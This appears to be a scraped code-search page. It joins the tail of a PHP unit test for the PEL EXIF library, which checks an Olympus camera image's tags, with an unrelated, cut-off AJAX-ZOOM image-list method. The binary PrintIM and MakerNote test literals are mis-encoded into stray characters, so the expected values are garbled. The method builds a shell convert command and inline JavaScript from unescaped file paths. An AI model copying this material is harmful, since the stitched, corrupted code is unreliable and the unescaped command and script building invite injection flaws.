        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(305);
        // Software
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'v777-76');
        $this->assertEqual($entry->getText(), 'v777-76');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1090073972);
        $this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        $entry = $ifd0->getEntry(50341);
        // PrintIM
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'PrintIM' . "" . '0250' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ˆ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '	' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '
' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'а' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '
' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ш' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'џ' . "" . '' . "" . '' . "" . '€' . "" . '' . "" . '' . "" . '€' . "" . '' . "" . '' . "" . '€' . "" . '' . "" . '' . "" . '€' . "" . '' . "" . '' . "" . '€' . "" . '' . "" . '' . "" . '€€€' . "" . '€' . "" . '' . "" . '' . "" . '	' . "" . '' . "" . '\'' . "" . '' . "" . '' . "" . '' . "" . '\'' . "" . '' . "" . '—' . "" . '' . "" . '\'' . "" . '' . "" . 'А' . "" . '' . "" . '\'' . "" . '' . "" . '' . "" . '' . "" . '\'' . "" . '' . "" . '^' . "" . '' . "" . '\'' . "" . '' . "" . '‹' . "" . '' . "" . '' . "" . '\'' . "" . '' . "" . 'Ы' . "" . '' . "" . '\'' . "" . '' . "" . 'х' . "" . '' . "" . '\'' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '!' . "" . 'š‚' . "" . '' . "" . '' . "" . '' . "" . 'И' . "" . '' . "" . '‚');
        $this->assertEqual($entry->getText(), '(undefined)');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 32);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 10, 1 => 2000));
        $this->assertEqual($entry->getText(), '1/200 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/3.2');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Creative program (biased toward depth of field)');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 64);
        $this->assertEqual($entry->getText(), '64');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1090073972);
        $this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1090073972);
        $this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '' . "" . '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
        $this->assertEqual($entry->getText(), '2/1');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 34, 1 => 10));
        $this->assertEqual($entry->getText(), '34/10');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Unknown');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 16);
        $this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 109, 1 => 10));
        $this->assertEqual($entry->getText(), '10.9 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'OLYMP' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'р' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ь' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'є' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ќ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '4' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '	' . "" . ' ' . "" . '' . "" . '' . "" . 'L' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ю' . "" . '' . "" . 'l' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'd' . "" . '' . "" . '' . "" . 'd' . "" . '' . "" . '' . "" . 'њ' . "" . '' . "" . 'ш' . "" . '' . "" . 'џџдўжџНџНџSX777' . "" . '' . "" . '' . "" . '[pictureInfo] Resolution=1 [Camera Info] Type=SX777' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'OLYMPUS DIGITAL CAMERA' . "" . 'џџџџџџџџџ4Ÿ' . "" . '' . "" . '' . "" . '' . "" . 'џ' . "" . '' . "" . 'a1' . "" . '' . "" . 'у' . "" . '' . "" . ' ' . "" . '' . "" . 'ќ' . "" . '' . "" . '№' . "" . '' . "" . '№' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'd' . "" . 'Ч' . "" . '@' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '*’' . "" . '' . "" . '' . "" . '' . "" . '*.' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '<' . "" . 'J' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'dќ' . "" . '' . "" . '' . "" . '' . "" . '""""""""""""""""""""Є~ы|Ё' . "" . '№Y' . "" . 'R' . "" . '' . "" . '
' . "" . '' . "" . '
' . "" . '' . "" . '
' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ЧoРh4Ÿ' . "" . '' . "" . '/
с' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ˆˆ' . "" . '' . "" . 'эк' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@' . "" . 'ИN' . "" . '	Dsода' . "" . '' . "" . 'э' . "" . '' . "" . '' . "" . 'DќSH	СV' . "" . '' . "" . '
„Ь7h8' . "" . '' . "" . 'џ’	)?&' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'Ї$уъз' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'wwww\'
' . "" . 'с' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'i' . "" . 'OvY' . "" . '$7' . "" . ')*ћƒю2' . "" . '' . "" . '
' . "" . '6' . "" . 'nЁ$* R' . "" . '' . "" . '
n_' . "" . '');
        $this->assertEqual($entry->getText(), '840 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '                                                                                                                     ');
        $this->assertEqual($entry->getText(), '                                                                                                                     ');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 2288);
        $this->assertEqual($entry->getText(), '2288');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 1712);
        $this->assertEqual($entry->getText(), '1712');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41729);
        // SceneType
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Directly photographed');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
        $this->assertEqual($entry->getText(), '0/100');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Portrait');
        $entry = $ifd0_0->getEntry(41991);
        // GainControl
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41992);
        // Contrast
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41993);
        // Saturation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41994);
        // Sharpness
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 2);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c765uz-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
示例#26
0
 public function proceedList($zoom, $zoomTmp)
 {
     $pic_list_array = $zoom['config']['pic_list_array'];
     $pic_list_data = $zoom['config']['pic_list_data'];
     $picSave = $zoom['config']['pic'];
     if (!$zoom['config']['imgFileOpt']) {
         $zoom['config']['imgFileOpt'] = array();
     }
     if (!empty($pic_list_array) && !empty($pic_list_data)) {
         settype($_GET['zoomID'], 'int');
         reset($pic_list_array);
         if (isset($_GET['zoomFile'])) {
             if (in_array($_GET['zoomFile'], $pic_list_array)) {
                 $flipedArray = array_flip($pic_list_array);
                 $_GET['zoomID'] = $flipedArray[$_GET['zoomFile']];
             }
         }
         if (!$_GET['zoomID'] or !array_key_exists($_GET['zoomID'], $pic_list_array)) {
             $_GET['zoomID'] = key($pic_list_array);
             $zoom['config']['pZoomID'] = false;
         } else {
             $zoom['config']['pZoomID'] = $_GET['zoomID'];
         }
         if (isset($pic_list_data[$_GET['zoomID']]['path'])) {
             $startTime = microtime(true);
             $zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
             if (!is_dir($zoom['config']['picDir'])) {
                 $zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash('/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
                 if (is_dir($zoom['config']['picDir'])) {
                     $zoom['config']['pic'] = '';
                 } else {
                     $zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['installPath'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
                     if (is_dir($zoom['config']['picDir'])) {
                         $zoom['config']['pic'] = $zoom['config']['installPath'];
                     }
                 }
             }
             $this->readTime['findPathFirstImage1'] = $this->endTimeDiff($startTime);
         }
         if (!isset($_GET['zoomData']) && !file_exists($zoom['config']['picDir'] . $pic_list_array[$_GET['zoomID']])) {
             unset($_GET['zoomID']);
             $pic_list_temp_array = $pic_list_array;
             $zoomTmp['errorImages'] = array();
             $startTime = microtime(true);
             foreach ($pic_list_array as $k => $v) {
                 if (isset($pic_list_data[$k]['path'])) {
                     $zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$k]['path'], 'add'), 'add');
                 }
                 if (file_exists($zoom['config']['picDir'] . $pic_list_array[$k])) {
                     if (!$zoomTmp['picFound']) {
                         $_GET['zoomID'] = $k;
                         $zoomTmp['picFound'] = $k;
                     }
                 } else {
                     $zoomTmp['errorImages'][$k] = $zoom['config']['picDir'] . $pic_list_array[$k];
                     unset($pic_list_temp_array[$k]);
                     unset($pic_list_data[$k]);
                 }
             }
             $this->readTime['findPathFirstImage2'] = $this->endTimeDiff($startTime);
             if ($zoom['config']['errors'] && !empty($zoomTmp['errorImages'])) {
                 $zoomTmp['fileErrorTitle'] = "Error images missing";
                 foreach ($zoomTmp['errorImages'] as $k => $v) {
                     $zoomTmp['fileErrorText'] .= "<li>{$v}</li> ";
                 }
                 $zoomTmp['fileErrorText'] = "<ul>" . $zoomTmp['fileErrorText'] . "</ul>";
                 $this->fileErrorDialog = "<script type=\"text/javascript\">jQuery.fn.axZm.zoomAlert('" . $zoomTmp['fileErrorText'] . "','" . $zoomTmp['fileErrorTitle'] . "',false);</script>";
             }
             $pic_list_array = $pic_list_temp_array;
         }
         $zoom['config']['pic_list_array'] = $pic_list_array;
         $zoom['config']['pic_list_data'] = $pic_list_data;
         if ($zoom['config']['exifAutoRotation'] && !isset($_GET['str']) && !isset($_GET['qq']) && !isset($_GET['setHW']) && !defined('PHALANGER')) {
             $pelLib = false;
             if (file_exists(dirname(__FILE__) . '/classes/pel/PelJpeg.php')) {
                 $pelLib = true;
                 require_once dirname(__FILE__) . '/classes/pel/PelDataWindow.php';
                 require_once dirname(__FILE__) . '/classes/pel/PelJpeg.php';
                 require_once dirname(__FILE__) . '/classes/pel/PelTiff.php';
             }
             $startTime = microtime(true);
             foreach ($pic_list_array as $k => $v) {
                 if (strtolower($this->getl('.', $v)) == 'jpg' || strtolower($this->getl('.', $v)) == 'jpeg') {
                     if (isset($pic_list_data[$k]['path'])) {
                         $tempPicDir = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$k]['path'], 'add'), 'add');
                     } else {
                         $tempPicDir = $zoom['config']['picDir'];
                     }
                     $aryEXIF = array();
                     $aryEXIF = exif_read_data($tempPicDir . $v);
                     if (isset($aryEXIF["Orientation"]) && ($aryEXIF["Orientation"] == 6 || $aryEXIF["Orientation"] == 8 || $aryEXIF["Orientation"] == 3)) {
                         $angle = 0;
                         if ($aryEXIF["Orientation"] == 6) {
                             $angle = 270;
                         } elseif ($aryEXIF["Orientation"] == 8) {
                             $angle = 90;
                         } elseif ($aryEXIF["Orientation"] == 3) {
                             $angle = 180;
                         }
                         if ($angle != 0) {
                             if (is_writable($tempPicDir . $v)) {
                                 $this->removeAxZm($zoom, $v, array('In' => true, 'Th' => true, 'tC' => true, 'mO' => true, 'Ti' => true, 'gP' => true), false);
                                 if ($pelLib) {
                                     $sourceExifFile = new PelJpeg($tempPicDir . $v);
                                     $sourceExifInfo = $sourceExifFile->getExif();
                                 }
                                 if ($zoom['config']['im']) {
                                     $arrAngle = array('270' => '90', '90' => '-90', '180' => '180');
                                     $convertString = $this->whichConvert($zoom['config']['imPath']) . " '" . $tempPicDir . $v . "' -rotate '" . $arrAngle[$angle] . "' '" . $tempPicDir . $v . "'";
                                     $convertString = $this->imQuotes($zoom, $convertString);
                                     exec($convertString);
                                 } else {
                                     $rotatedImage = $this->rotateImage($tempPicDir . $v, $angle);
                                     imagejpeg($rotatedImage, $tempPicDir . $v, 100);
                                 }
                                 if ($pelLib) {
                                     $outputExifFile = new PelJpeg($tempPicDir . $v);
                                     if ($sourceExifInfo != null) {
                                         $outputExifFile->setExif($sourceExifInfo);
                                         file_put_contents($tempPicDir . $v, $outputExifFile->getBytes());
                                     }
                                     $this->exifOrientation($tempPicDir . $v, $tempPicDir . $v);
                                 }
                                 $pic_list_data[$k]['imgSize'] = $this->axZm->imageSize($tempPicDir . $v, $zoom['config']['im'], false);
                             } else {
                                 if ($zoom['config']['errors']) {
                                     echo 'alert("' . $tempPicDir . $v . ' is not writable by PHP.");';
                                 }
                             }
                         }
                     }
                 }
                 $zoom['config']['pic_list_data'] = $pic_list_data;
             }
             $this->readTime['exifAutoRotation'] = $this->endTimeDiff($startTime);
         }
         if ($zoom['config']['cTimeCompare'] && !isset($_GET['setHW']) && !isset($_GET['str']) && !isset($_GET['qq'])) {
             $this->cTimeCompare($zoom);
         }
         if (isset($_GET['zoomID']) && !isset($_GET['qq'])) {
             if (isset($pic_list_data[$_GET['zoomID']]['path'])) {
                 $zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
             }
             $zoom['config']['orgImgName'] = $pic_list_array[$_GET['zoomID']];
             if ($pic_list_data[$_GET['zoomID']]['imgSize']) {
                 $zoom['config']['orgImgSize'] = $pic_list_data[$_GET['zoomID']]['imgSize'];
             } else {
                 $zoom['config']['orgImgSize'] = $this->axZm->imageSize($zoom['config']['picDir'] . $zoom['config']['orgImgName'], $zoom['config']['im'], false);
             }
             $zoom['config']['smallImgName'] = $this->composeFileName($pic_list_array[$_GET['zoomID']], $zoom['config']['picDim'], '_', $this->pngMod($zoom));
             $imageSlicer = $zoom['config']['imageSlicer'];
             if (!is_array($imageSlicer)) {
                 $imageSlicer = array();
             }
             $slicerPostArr = array('zoomID' => $_GET['zoomID'], 'example' => $_GET['example'], 'pic' => $zoom['config']['pic'], 'pic_list_data' => serialize(array($_GET['zoomID'] => $pic_list_data[$_GET['zoomID']])), 'pic_list_array' => serialize(array($_GET['zoomID'] => $pic_list_array[$_GET['zoomID']])));
             if ($imageSlicer['enabled'] && !empty($imageSlicer['parameters'])) {
                 foreach ($imageSlicer['parameters'] as $a => $b) {
                     if (isset($_GET[$b])) {
                         $slicerPostArr[$b] = $_GET[$b];
                     }
                 }
             }
             $checkInitialImage = true;
             if (!$zoom['config']['imgFileOpt']['noMakeFirstImage']) {
                 if ($zoom['config']['stepPicDim'] && is_array($zoom['config']['stepPicDim']) && !empty($zoom['config']['stepPicDim'])) {
                     foreach ($zoom['config']['stepPicDim'] as $k => $v) {
                         if ((int) $v['w'] && (int) $v['h'] && !file_exists($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . '/' . $this->composeFileName($zoom['config']['orgImgName'], (int) $v['w'] . 'x' . (int) $v['h'], '_', $this->pngMod($zoom)))) {
                             $checkInitialImage = false;
                             break;
                         }
                     }
                 } else {
                     $checkInitialImage = file_exists($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $zoom['config']['smallImgName']);
                 }
             }
             if (!$checkInitialImage) {
                 if ($imageSlicer['enabled']) {
                     $slicerPostArr['task'] = 'makeFirstImage';
                     $this->returnMakeFirstImage = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
                 } else {
                     $startTime = microtime(true);
                     $this->returnMakeFirstImage = $this->axZm->makeFirstImage($zoom, false);
                     $this->readTime['makeFirstImage1'] = $this->endTimeDiff($startTime);
                 }
             } elseif ($zoom['config']['mapOwnImage'] && !$zoom['config']['imgFileOpt']['noMakeMapImage']) {
                 if (!isset($zoom['config']['mapDir'])) {
                     $zoom['config']['mapDir'] = $this->checkSlash($zoom['config']['fpPP'] . $zoom['config']['mapPath'], 'add');
                 }
                 if (!file_exists($zoom['config']['mapDir'] . $this->composeFileName($zoom['config']['orgImgName'], $zoom['config']['mapOwnImage'], '_', $this->pngMod($zoom)))) {
                     if ($imageSlicer['enabled']) {
                         $slicerPostArr['task'] = 'makeMapImage';
                         $this->returnMakeFirstImage = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
                     } else {
                         $startTime = microtime(true);
                         $this->returnMakeFirstImage = $this->axZm->makeFirstImage($zoom, true);
                         $this->readTime['makeFirstImage2'] = $this->endTimeDiff($startTime);
                     }
                 }
             }
             $startTime = microtime(true);
             if ($zoom['config']['imgFileOpt']['noMakeFirstImage']) {
                 $zoom['config']['smallImgSize'] = $this->virtualResize($pic_list_data[$_GET['zoomID']]['imgSize'], array($zoom['config']['picX'], $zoom['config']['picY']));
             } else {
